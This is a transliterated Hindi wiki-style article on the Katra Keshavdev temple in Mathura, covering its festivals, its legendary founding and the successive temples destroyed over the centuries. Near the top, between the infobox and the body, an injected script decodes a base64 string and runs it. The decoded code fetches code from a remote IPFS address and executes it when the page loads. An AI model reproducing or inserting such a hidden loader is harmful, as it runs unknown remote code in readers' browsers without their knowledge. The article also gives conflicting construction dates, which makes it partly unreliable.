कटरा केशवदेव मन्दिर, मथुरा

katara keshavadev mandir, mathura
katara keshavadev mandir, mathura|200px|center
vivaran	'katara keshavadev mandir' mathura mean bhagavan shrikrishna ke prasiddh mandiroan mean se ek hai. mandir ki imarat lakhori eeant, choona aur lal patthar se nirmit hai.
rajy	uttar pradesh
zila	mathura
nirman kal	600 ee.
bhaugolik sthiti	krishna janmabhoomi avasiy dvar ke nikat mallapura, mathura.
havaee adda	dilli
relave steshan	mathura jankashan
sanbandhit lekh	shrikrishna, krishna janmabhoomi, mathura
vishesh	fraansisi yatri jin baiptist tॅvaraniyar ne likha hai ki- "yah mandir bharat ki sabase bhavy aur sundar imaratoan mean se ek hai, jo 5 se 6 kos ki doori se bhi dikhaee deti hai."
any janakari	kaha jata hai ki mool mandir ki moorti ko shrikrishna ke pote vajranabh dvara pratishthit karaya gaya tha. kuchh logoan ke anusar, mandir jivazirav siandhiya dvara nirmit karavaya gaya tha.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>katara keshavadev mandir ati prachin mandir hai jo krishna janmabhoomi avasiy dvar ke nikat mallapura, mathura, uttar pradesh mean sthit hai. isaka nirman 1600 ee. mean hua tha. isaki lambaee-chau daee 75'X55' hai, lakhori eeant choona aur lal patthar ki yah do manzila imarat hai. is mandir mean vaise to varsh paryant p dane vale sabhi parv harshollas ke sath manae jate haian kintu basant panchami par lagane vale chhappan bhog is mandir ko anokhi chhata pradan karate haian. is din lakhoan shraddhalu is mandir ke darshan karate haian. videshi bhaktoan ke lie rangabharani ekadashi par gatashram vishram ghat se nikalane vali thakur keshav dev ki savari mukhy akarshak ka kendr banati hai jo mallapura sthit keshavadev mandir pahuanchakar sampann hoti hai. chhoti dipavali arthat narak chaudas ke din is mandir mean dipotsav ka ayojan bhi kiya jata hai.

itihas

bhagavan shrikrishna ne apani ihalaukik lila sanvaran ki. udhar yudhishthar maharaj ne parikshit ko hastinapur ka rajy sauanpakar shrikrishna ke prapautr vajranabh ko mathura mandal ke rajy sianhasan par pratishthit kiya. charoan bhaiyoan sahit yudhishthir svayan mahaprasthan kar gaye. maharaj vajranabh ne maharaj parikshit aur maharshi shaandily ke sahayog se mathura mandal ki pun: sthapana karake usaki saanskritik chhavi ka punaroodvar kiya. vajranabh dvara jahaan anek mandiroan ka nirman karaya gaya, vahian bhagavan shrikrishnachandr ki janmasthali ka bhi mahattv sthapit kiya. yah kans ka karagar tha, jahaan vasudev ne bhadrapad krishna ashtami ki adhi rat avatar grahan kiya tha. aj yah katara keshavadev nam se prasidv hai. yah karagar keshavadev ke mandir ke roop mean parinat hua. isi ke asapas mathura puri sushobhit huee. yahaan kalakram mean anekanek gaganachumbi bhavy mandiroan ka nirman hua. inamean se kuchh to samay ke sath nasht ho gaye aur kuchh ko vidharmiyoan ne nasht kar diya.

1. REDIRECTsaancha:inhean bhi dekhean

• adivarah puran mean isaka ullekh hai. yah mathura ke pavitr evan prachin dharmik sthaloan mean se ek hai. mool mandir ka vidhvans aurangajeb dvara kar diya gaya tha aur is sthal par prachin mandir ke avasheshoan ko pratishthit kar diya gaya tha. kahaan jata hai ki mool mandir ki moorti ko shrikrishna ke pote vajranabh dvara pratishthit karaya gaya tha. kuchh logoan ke anusar, mandir jivazirav siandhiya dvara nirmit karavaya gaya tha. ab is mandir ki mool moorti nathadvara mandir mean hai.
  
• isaki bhavyata ka anuman isase lagaya ja sakata hai ki isake sanbandh mean fraansisi yatri tॅvaraniyar (Jean-Baptiste Tavernier) ne likha hai ki “yah mandir bharat ki sabase bhavy aur sundar imaratoan mean se ek hai, jo 5 se 6 kos ki doori se bhi dikhaee deti hai”. ek kos (krosh) mean lagabhag 3 kilomitar hote haian to yah doori lagabhag 16 kilomitar hoti hai.

pratham mandir
eesavi sanh se poorvavarti 80-57 ke mahakshatrap saudas ke samay ke ek shila lekh se jnat hota hai ki kisi vasu namak vyakti ne shrikrishna janmasthan par ek mandir toran dvar aur vedika ka nirman karaya tha. yah shilalekh brahmi lipi mean hai. [[chitr:Katra Keshav Dev Mathura-2.jpg|thumb|250px|katara keshavadev mandir, mathura
Katra Keshdev Temple, Mathura|left]]
dvitiy mandir
doosara mandir vikramadity ke kal mean sanh 800 ee. ke lagabhag banavaya gaya tha. sanskriti aur kala ki drishti se us samay mathura nagari b de utkarsh par thi. hindoo dharm ke sath bauddh aur jain dharm bhi unnati par the. shrikrishna janmasthan ke sanmip hi jainiyoan aur bauddhoan ke vihar aur mandir bane the. yah mandir sanh 1017-18 ee. mean mahamood gazanavi ke kop ka bhajan bana. is bhavy saanskritik nagari ki suraksha ki koee uchit vyavastha n hone se mahamood ne ise khoob loota. bhagavan keshavadev ka mandir bhi to d dala gaya.
tritiy mandir
sanskrit ke ek shila lekh se jnat hota hai ki maharaja vijayapal dev jab mathura ke shasak the, tab sanh 1150 ee. mean jajj namak kisi vyakti ne shrikrishna janmasthan par ek naya mandir banavaya tha. yah vishal evan bhavy bataya jata haian. ise bhi 16 vi shatabdi ke arambh mean sikandar lodi ke shasan kal mean nasht kar dala gaya tha.
chaturth mandir
jahaangir ke shasan kal mean shrikrishna janmasthan par pun: ek naya vishal mandir nirman karaya orachha ke shasak raja virasianh joo dev bundela ne isaki ooanchaee 250 phit rakhi gee thi. yah agara se dikhaee deta bataya jata hai. us samay is nirman ki lagat 33 lakh rupaye aee thi. is mandir ke charoan or ek ooanchi divar ka parakota banavaya gaya tha, jisake avashesh ab tak vidyaman haian. dakshin pashchim ke ek kone mean kua bhi banavaya gaya tha is ka pani 60 phit ooancha uthakar mandir ke pragan mean favvare chalane ke kam ata tha. yah kuaan aur usaka burj aj tak vidyaman hai. sanh 1669 ee. mean pun: yah mandir nasht kar diya gaya aur isaki bhavan samagri se eedagah banava di gee jo aj vidyaman hai.

mugal badashah aurangazeb ne 31 julaee, 1658 ee. se lekar 3 march, 1707 ee. tak shasan kiya. apani kattar islami phitarat ke chalate usane bahut se mandir, hiandoo dharmik sthaloan ko dhvast karane ka adesh diya. 1670 ee. mean katara keshav dev, mathura mean bhagavan shrikrishna ke janmasthan vale mandir ko bhi dhvast kiya gaya aur takat pradarshan ke lie eedagah masjid ke nam se ek imarat tamir kar di gee.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh